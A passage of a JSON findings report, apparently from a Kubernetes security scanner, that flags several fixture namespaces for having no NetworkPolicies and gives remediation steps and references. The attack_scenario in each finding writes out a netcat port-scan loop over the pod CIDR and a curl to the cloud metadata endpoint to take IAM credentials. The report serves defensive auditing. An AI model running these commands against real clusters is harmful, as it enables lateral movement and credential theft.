      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:lp-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `lp-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `lp-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "lp-fixtures",
      "namespace": "lp-fixtures"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `lp-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `lp-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "lp-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `lp-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `lp-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n lp-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:map-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `map-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `map-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "map-fixtures",
      "namespace": "map-fixtures"
    },
    "namespace": "map-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `map-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `map-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "map-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `map-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `map-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n map-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:nodeid-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `nodeid-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `nodeid-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "nodeid-fixtures",
      "namespace": "nodeid-fixtures"
    },
    "namespace": "nodeid-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `nodeid-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `nodeid-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "nodeid-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `nodeid-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `nodeid-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n nodeid-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:privesc-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `privesc-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `privesc-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "privesc-fixtures",
      "namespace": "privesc-fixtures"
    },
    "namespace": "privesc-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `privesc-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `privesc-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "privesc-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `privesc-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `privesc-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n privesc-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:psa-suppressed",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `psa-suppressed` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `psa-suppressed` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "psa-suppressed",
      "namespace": "psa-suppressed"
    },
    "namespace": "psa-suppressed",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `psa-suppressed`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `psa-suppressed` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "psa-suppressed"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `psa-suppressed`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `psa-suppressed`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n psa-suppressed --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:psa-unlabeled-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `psa-unlabeled-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `psa-unlabeled-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "psa-unlabeled-fixtures",
      "namespace": "psa-unlabeled-fixtures"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `psa-unlabeled-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `psa-unlabeled-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "psa-unlabeled-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `psa-unlabeled-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `psa-unlabeled-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
